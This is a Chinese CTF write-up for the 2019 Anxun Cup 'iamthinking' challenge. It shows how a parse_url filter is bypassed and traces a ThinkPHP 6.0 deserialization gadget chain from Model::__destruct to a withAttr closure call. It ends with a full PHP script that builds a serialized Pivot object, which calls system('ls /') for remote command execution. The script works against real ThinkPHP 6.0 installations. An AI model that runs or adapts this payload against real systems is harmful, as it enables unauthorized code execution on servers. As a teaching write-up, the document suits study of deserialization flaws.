[安洵杯 2019]iamthinking-parse_url绕过thinkphp6.0反序列化

news2024/12/25 6:09:35

/www.zip下载源码

查看序列化点,index.php

<?php
namespace app\controller;
use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        
        echo "<img src='../test.jpg'"."/>";
        $paylaod = @$_GET['payload'];
        if(isset($paylaod))
        {
            $url = parse_url($_SERVER['REQUEST_URI']);
            parse_str($url['query'],$query);
            foreach($query as $value)
            {
                if(preg_match("/^O/i",$value))
                {
                    die('STOP HACKING');
                    exit();
                }
            }
            unserialize($paylaod);
        }
    }
}

看到有parse_url过滤,我们可以绕过。

在解析形如http://xxx.com///index.php?payload=cmd这样的URI时parse_url将会被绕过。

首先,序列化以*__destruct()*开始,我们可以搜索这个函数,最后,我们找到位于vendor/tothink/think-orm/src/Model.php中的这个函数

image-20240825185703313

如果要执行save函数,那就需要$this->lazySave=ture

条件1、$this->lazySave=ture

然后跟进save函数中

public function save(array $data = [], string $sequence = null): bool
    {
        // 数据对象赋值
        $this->setAttrs($data);

        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
        }

        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

        if (false === $result) {
            return false;
        }

        // 写入回调
        $this->trigger('AfterWrite');

        // 重新记录原始数据
        $this->origin   = $this->data;
        $this->set      = [];
        $this->lazySave = false;

        return true;
    }

可以看到data是一个空数组,跟进setAttrs函数我们可以发现,这个函数就是一个进行数据处理的函数

image-20240825193342473

接着往下看,

如果*$this->isEmpty() || false === $this->trigger(‘BeforeWrite’)*这俩个有一个满足的话,我们就会直接返回false,无法继续向下执行,所以他们俩个都不能成立。

image-20240825193621631

可以看到isEmpty函数,就是判断data是否为空,是就返回ture,否则返回false,所以data不能为空。

所以条件2、this->data不能为空

看到下一个trigger

    public function withEvent(bool $event)
    {
        $this->withEvent = $event;
        return $this;
    }


    protected function trigger(string $event): bool
    {
        if (!$this->withEvent) {
            return true;
        }

其实主要就是这俩位置,他的event已经赋值了,默认返回就是true,可以不要管。

然后就是执行这一段代码了

image-20240825194333875

我们继续跟进updateDate()函数。

    protected function updateData(): bool
    {
        // 事件回调
        if (false === $this->trigger('BeforeUpdate')) {
            return false;
        }

        $this->checkData();

        // 获取有更新的数据
        $data = $this->getChangedData();

        if (empty($data)) {
            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            return true;
        }

前面那个if可以不要管,默认就是不能触发的,然后就是checkData()函数,这个函数如果我们跟进去其实可以发现就是个void。

所以往下走,看到getChangedDate()函数,这个函数也没啥,后面那个if当data不为空时就已经触发不了了,所以我们跟进checkAllowFields函数。

    protected function checkAllowFields(): array
    {
        // 检测字段
        if (empty($this->field)) {
            if (!empty($this->schema)) {
                $this->field = array_keys(array_merge($this->schema, $this->jsonType));
            } else {
                $table = $this->table ? $this->table . $this->suffix : $query->getTable();
                $this->field = $query->getConnection()->getTableFields($table);
            }

            return $this->field;
        }

这个函数主要就是这一段,可以看到else中*$this->table . $this->suffix这里有函数拼接,也就是说可以触发__toString*函数。

所以条件3、 t h i s − > f i e l d ∗ 要为空, ∗ this->field*要为空,* this>field要为空,this->schema这个也要为空,$this->table要为true

image-20240825194333875

我们可以发现,如果我们要进入updateDate中,我们的this->exists也要为true

所以条件4、this->exists=true

然后就在项目中找*__toString*函数

我们在/vendor/topthink/think-orm/src/model/concern/Conversion.php中可以找到目标

    public function __toString()
    {
        return $this->toJson();
    }

可以看到,这个函数很简单,就是继续跟toJson函数就行

    public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
    {
        return json_encode($this->toArray(), $options);
    }

这个我们也可以继续跟toArray()函数

    public function toArray(): array
    {
        $item       = [];
        $hasVisible = false;

        foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    list($relation, $name)      = explode('.', $val);
                    $this->visible[$relation][] = $name;
                } else {
                    $this->visible[$val] = true;
                    $hasVisible          = true;
                }
                unset($this->visible[$key]);
            }
        }

        foreach ($this->hidden as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    list($relation, $name)     = explode('.', $val);
                    $this->hidden[$relation][] = $name;
                } else {
                    $this->hidden[$val] = true;
                }
                unset($this->hidden[$key]);
            }
        }

        // 合并关联数据
        $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }
        }

        // 追加属性(必须定义获取器)
        foreach ($this->append as $key => $name) {
            $this->appendAttrToArray($item, $key, $name);
        }

        return $item;
    }

这段函数的代码很长,但是大概功能就是处理数据的功能,转化对象为数组。

而默认情况下,这段代码会进入elseif中触发getAttr。

我们继续跟进,

    public function getAttr(string $name)
    {
        try {
            $relation = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $relation = $this->isRelationAttr($name);
            $value    = null;
        }

        return $this->getValue($name, $value, $relation);
    }

我们继续跟一下getData函数

    public function getData(string $name = null)
    {
        if (is_null($name)) {
            return $this->data;
        }

我们默认情况下,name为空,所以触发返回data

也就是说,我们上面赋值的data会被传入Value中。

然后就到了getValue函数,我们继续跟进

protected function getValue(string $name, $value, $relation = false)
{
    // 检测属性获取器
    $fieldName = $this->getRealFieldName($name);
    $method    = 'get' . Str::studly($name) . 'Attr';

    if (isset($this->withAttr[$fieldName])) {
        if ($relation) {
            $value = $this->getRelationValue($relation);
        }

        if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
            $value = $this->getJsonValue($fieldName, $value);
        } else {
            //$fieldName = a
            //withAttr[a] = system
            $closure = $this->withAttr[$fieldName];
            //value = system(ls,)
            $value   = $closure($value, $this->data);
        }

主要的执行函数也就是在这了。

我们可以跟进getReakFieldName

    protected function getRealFieldName(string $name): string
    {
        return $this->strict ? $name : Str::snake($name);
    }

this->strict=true时,我们直接返回name,在上面,那么被赋值为了data。

也就是fieldName参数就是为data赋进去的值。

最后的payloud:

<?php
namespace think{
    abstract class Model{
        use model\concern\Attribute;
        private $lazySave;
        private $data=[];
        protected $field;
        protected $schema;
        protected $withEvent;
        private $exists;
        private $withAttr=[];
        public function __construct($obj)
        {
            $this->lazySave=true;
            $this->data=["key"=>"ls /"];
            $this->field=[];
            $this->schema=[];
            $this->table=$obj;
            $this->exists=true;
            $this->visible=["key"=>1];
            $this->withAttr=["key"=>"system"];
            $this->withEvent=false;


        }
    }
}

namespace think\model\concern{
    trait Attribute{

    }
    trait Conversion{

    }

}

namespace think\model{
    use think\Model;
    class Pivot extends Model{

    }
    $a=new Pivot('');
    $b=new Pivot($a);
    echo urlencode(serialize($b));

}




?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2246898.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

解决CondaError: argument COMMAND: invalid choice: ‘activate‘

自上篇系统重装后&#xff0c;Anaconda重新导入后终端进入conda环境报错&#xff1a; conda-script.py: error: argument COMMAND: invalid choice: ‘activate’ C:\Windows\system32>conda activate xin usage: conda-script.py [-h] [--no-plugins] [-V] COMMAND ... …

【CSS3】Flex弹性布局

文章目录 前言一、基本概念1.容器和项目&#xff1a;2.主轴和交叉轴&#xff1a; 二、容器属性1.flex-direction&#xff1a;决定主轴的方向&#xff0c;即x轴还是y轴2.flex-wrap&#xff1a;定义项目的换行方式3.flex-flow&#xff1a;flex-direction属性和flex-wrap属性的简写…

简述C++map容器

pair键值对 std::pair在很多关联容器&#xff08;如std::map、std::multimap、std::set、std&#xff1a;multiset等&#xff09;中被广泛应用。以std::map为例&#xff0c;std::map是一个键值对的容器&#xff0c;其中每个元素都是一个std::pair&#xff0c;键用于唯一标识元…

刷题计划 day22回溯(一)【组合】【组合总和 III】【电话号码的字母组合】

⚡刷题计划day22 回溯&#xff08;一&#xff09;开始&#xff0c;此期开启回溯专题&#xff0c;敬请期待关注&#xff0c;可以点个免费的赞哦~ 往期可看专栏&#xff0c;关注不迷路&#xff0c; 您的支持是我的最大动力&#x1f339;~ 目录 回溯算法理论基础 回溯法解决的…

Qt桌面应用开发 第六天(鼠标事件 定时器事件 定时器类 事件分发器 事件过滤器)

目录 1.1鼠标进入和离开enterEvent\leaveEvent 1.2鼠标按下释放和移动mousePressEvent\mouseReleaseEvent\mouseMoveEvent 1.3定时器事件timerEvent 1.4定时器类QTimer 1.5事件分发器event 1.6事件过滤器eventFilter 1.1鼠标进入和离开enterEvent\leaveEvent 事件&#x…

【Linux清空显存占用】Linux 系统中清理 GPU 显存

操作指令 # 查看NVIDIA GPU状态和进程 nvidia-smi # 查找所有包含"python"的进程 ps -ef | grep python # 强制结束进程号为3023的进程 kill -9 3023截图演示 在 Linux 系统中清理 GPU 显存可以采用以下方法&#xff1a; 1. 终止特定进程&#xff08;常用方法&…

对撞双指针(七)三数之和

15. 三数之和 给你一个整数数组 nums &#xff0c;判断是否存在三元组 [nums[i], nums[j], nums[k]] 满足 i ! j、i ! k 且 j ! k &#xff0c;同时还满足 nums[i] nums[j] nums[k] 0 。请你返回所有和为 0 且不重复的三元组。 注意&#xff1a;答案中不可以包含重复的三元组…

vue2-基础核心

vue简介 动态构建用户界面的渐进式 JavaScript 框架 vue的特点: 遵循MVVM模式 采用组件化模式&#xff0c;提高代码复用率&#xff0c;让代码更好维护 声明式编码&#xff0c;无需直接操作DOM&#xff0c;提高开发效率&#xff0c;编码简洁、体积小&#xff0c;运行效率高 本…

Prompting LLMs to Solve Complex Tasks: A Review

文章目录 题目简介任务分解未来方向结论 题目 促使 LLM 解决复杂任务&#xff1a; 综述 论文地址&#xff1a;https://www.intjit.org/cms/journal/volume/29/1/291_3.pdf 简介 大型语言模型 (LLM) 的最新趋势显而易见&#xff0c;这体现在大型科技公司的投资以及媒体和在线社…

反射、依赖注入

特性和依赖注入都是基于反射的&#xff0c;同时反射一般和接口配合着使用。 接口隔离原则 接口隔离原则&#xff1a;主张应该把客户端对一个类的需求分解成更小、更具体的接口&#xff0c;而不是提供一个包含所有功能的大接口。 接口中的需求是&#xff1a;乙方不能少给&am…

MT8768/MTK8768安卓核心板性能参数_联发科安卓智能模块开发方案

MT8768安卓核心板 是一款采用台积电12nm FinFET制程工艺的智能手机芯片。MT8768核心板不仅提供所有高级功能和出色体验&#xff0c;同时确保智能终端具备长电池寿命。该芯片提供了一个1600x720高清(20:9比例)分辨率显示屏&#xff0c;排除了清晰度和功耗之间的平衡问题。该芯片…

VBA技术资料MF229:以毫米为单位设置行高和列宽

我给VBA的定义&#xff1a;VBA是个人小型自动化处理的有效工具。利用好了&#xff0c;可以大大提高自己的工作效率&#xff0c;而且可以提高数据的准确度。“VBA语言専攻”提供的教程一共九套&#xff0c;分为初级、中级、高级三大部分&#xff0c;教程是对VBA的系统讲解&#…

深入JMeter核心引擎:揭秘JmeterEngine、StandardJmeterEngine、ClientJmeterEngine与Remote的奥秘

引言 Apache JMeter是一款广泛使用的开源性能测试工具&#xff0c;它能够帮助开发者和测试人员模拟大量并发用户对应用程序进行负载测试。JMeter的强大功能和灵活性源于其精心设计的核心引擎。本文将深入探讨JMeter的核心引擎&#xff0c;包括JmeterEngine、StandardJmeterEng…

软件工程导论 选填题知识点总结

一 原型化方法是一种动态定义需求的方法&#xff0c;提供完整定义的需求不是原型化方法的特征&#xff0c;其特征包括尽快建立初步需求、简化项目管理以及加强用户参与和决策。 软件危机的表现包括用户对已完成的软件系统不满意的现象经常发生、软件产品的质量往往靠不住、软件…

Rust中Tracing 应用指南

欢迎来到这篇全面的Rust跟踪入门指南。Rust 的tracing是一个用于应用程序级别的诊断和调试的库。它提供了一种结构化的、异步感知的方式来记录日志和跟踪事件。与传统的日志记录相比&#xff0c;tracing能够更好地处理复杂的异步系统和分布式系统中的事件跟踪&#xff0c;帮助开…

机器学习实战:银行客户是否认购定期存款

项目结构与步骤 1. 项目概述 项目名称&#xff1a;葡萄牙银行电话营销活动分析与定期存款认购预测目标&#xff1a;通过分析银行的电话营销数据&#xff0c;构建模型预测客户是否会认购定期存款。数据来源&#xff1a;葡萄牙银行营销活动数据集关键挑战&#xff1a;数据不平衡…

服务器数据恢复—raid5阵列热备盘上线失败导致EXT3文件系统不可用的数据恢复案例

服务器数据恢复环境&#xff1a; 两组分别由4块SAS硬盘组建的raid5阵列&#xff0c;两组阵列划分的LUN组成LVM架构&#xff0c;格式化为EXT3文件系统。 服务器故障&#xff1a; 一组raid5阵列中的一块硬盘离线。热备盘自动上线替换离线硬盘&#xff0c;但在热备盘上线同步数据…

C++vector

Cvector是标准库中的一员&#xff0c;vector直译过来是“向量”、“矢量”的意思&#xff0c;在C中&#xff0c;是一个动态的数组容器&#xff0c;可以动态的开辟空间&#xff0c;自动实现内存的管理&#xff0c;不需要我们手动操作&#xff0c;在标准库中&#xff0c;写作一个…

“漫步北京”小程序及“气象景观数字化服务平台”上线啦

随着科技的飞速发展&#xff0c;智慧旅游已成为现代旅游业的重要趋势。近日&#xff0c;北京万云科技有限公司联合北京市气象服务中心&#xff0c;打造的“气象景观数字化服务平台“和“漫步北京“小程序已经上线&#xff0c;作为智慧旅游的典型代表&#xff0c;以其丰富的功能…

LlamaIndex+本地部署InternLM实践

LlamaIndex本地部署InternLM实践 XTuner是一个调整模型参数的小工具,通过对于给定的大模型输入有限的参数来调整同类型问题的结果输出 ‌LlamaIndex‌是一个将大语言模型&#xff08;LLMs&#xff09;和外部数据连接在一起的工具&#xff0c;主要用于增强大模型的知识获取能力…